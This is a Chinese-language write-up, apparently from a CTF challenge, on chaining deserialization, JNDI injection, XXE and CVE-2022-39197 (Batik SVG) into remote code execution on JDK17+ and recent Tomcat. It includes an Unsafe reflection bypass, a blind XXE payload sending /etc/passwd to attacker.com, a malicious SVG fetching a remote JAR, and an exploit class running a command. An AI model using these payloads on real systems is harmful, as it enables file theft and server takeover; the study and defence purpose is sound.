从系统安全防护赛JDBCParty 学习高版本JDK和高版本Tomcat打JNDI到RCE
字数 1711 2025-08-29 08:30:36
高版本JDK与Tomcat环境下JNDI注入到RCE的深入分析与利用
1. 背景与概述
本文详细分析在高版本JDK(特别是JDK17+)和高版本Tomcat环境下,如何通过反序列化触发JNDI注入并最终实现RCE的技术细节。文章涵盖了从反序列化触发点到JNDI注入,再到绕过各种限制实现远程代码执行的完整链条。
2. 高版本JDK反射限制绕过
2.1 JDK17+反射限制
在JDK17及更高版本中,无法反射java.*包下非public修饰的属性和方法。这是Java模块化系统引入的安全限制。
2.2 使用UnSafe绕过限制
通过UnSafe工具类可以实现绕过:
- 调用类的
module和Object类的module相同 - 修改模块访问权限
关键实现代码:
// UnSafeTools类实现
public class UnSafeTools {
public static void disableWarning() {
try {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class cls = Class.forName("jdk.internal.module.IllegalAccessLogger");
Field logger = cls.getDeclaredField("logger");
unsafe.putObjectVolatile(cls, unsafe.staticFieldOffset(logger), null);
} catch (Exception e) {
// ignore
}
}
}
3. 触发JNDI注入的途径
3.1 反序列化触发点
使用toString链触发JNDI注入,这是2024阿里云CTF chain17官方WP中的通杀链。关键点:
- 需要处理
BaseJsonNode的writeReplace方法 - 建议本地实现包覆盖
3.2 JNDI注入限制
高版本JDK中:
- 做了
validateJNDIName黑名单限制 - 只能利用RMI远程方法调用
- LDAP等协议被限制
4. 高版本Tomcat的限制与绕过
4.1 Tomcat版本限制
Spring Boot内置Tomcat 10.1.31版本的限制:
- Tomcat 9.0.62+在
BeanFactory中对forceString进行了判断 - 传统的
BeanFactory利用路径被阻断 - EL表达式和SnakeYaml等传统方法失效
4.2 XXE利用途径
通过org.apache.catalina.users.MemoryUserDatabaseFactory实现XXE:
- 加载本地工厂类
- 实现XXE盲注
- 尝试任意文件读取
XXE盲注Payload示例:
<!-- xxe.xml -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
<!-- test.dtd -->
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % internal SYSTEM 'http://localhost:8080/?data=%payload;'>">
%param1;
%internal;
注:Windows环境下可能存在限制,建议在Linux环境测试
5. 利用CVE-2022-39197实现RCE
5.1 漏洞背景
通过第三方依赖batik-swing实现RCE,关键Sink点是JSVGCanvas#setURL方法,可以实现SVG到RCE的转换。
5.2 利用链构建
-
任意类setter调用:
- 通过
JavaBeans Introspector获取任意类的bean - 调用任意类的setter方法并控制参数
- 绕过Tomcat高版本对
toString的限制
- 通过
-
触发
JSVGCanvas#setURL:// 获取JavaBean的WriteMethod(所有setter方法) BeanInfo beanInfo = Introspector.getBeanInfo(target.getClass()); PropertyDescriptor[] pds = beanInfo.getPropertyDescriptors(); // 通过反射调用setter Method setter = findSetterMethod(pds, "URL"); setter.invoke(target, maliciousSvgUrl);
5.3 SVG Payload构造
利用20年前的古老漏洞构造SVG:
<!-- calc.svg -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<script type="text/ecmascript" xlink:href="http://attacker.com/exp.jar"/>
</svg>
5.4 远程类加载机制
通过org.apache.batik.bridge.BaseScriptingEnvironment#loadScript实现远程类加载,两种方式:
-
实现
EventListenerInitializer类:- 在
MANIFEST.MF中指定SVG-Handler-Class
- 在
-
实现
ScriptHandler类:- 在
MANIFEST.MF中指定Script-Handler
- 在
5.5 EXP.jar构造示例
// 实现EventListenerInitializer
public class EvilInitializer implements EventListenerInitializer {
public void initializeEventListeners(AbstractDocument doc) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
META-INF/MANIFEST.MF内容:
SVG-Handler-Class: EvilInitializer
重要注意事项:
- 使用
batik-ext-1.5.jar远古版本 - EXP.jar必须放在不同端口的服务器上(同一端口存在bug)
6. 完整利用流程
- 构造恶意序列化数据触发反序列化
- 通过
toString链触发JNDI查找 - 控制RMI服务返回恶意Reference
- 利用
JSVGCanvas#setURL加载恶意SVG - SVG触发远程类加载执行恶意代码
7. 防御建议
- 升级到最新JDK和Tomcat版本
- 限制反序列化操作
- 禁用不必要的JNDI查找
- 过滤SVG文件中的脚本内容
- 使用安全管理器限制权限
8. 参考资源
- JDK17反射限制绕过
- 浅蓝师傅关于高版本JNDI打法的经典文章
- CVE-2022-39197相关分析
- Batik SVG漏洞历史分析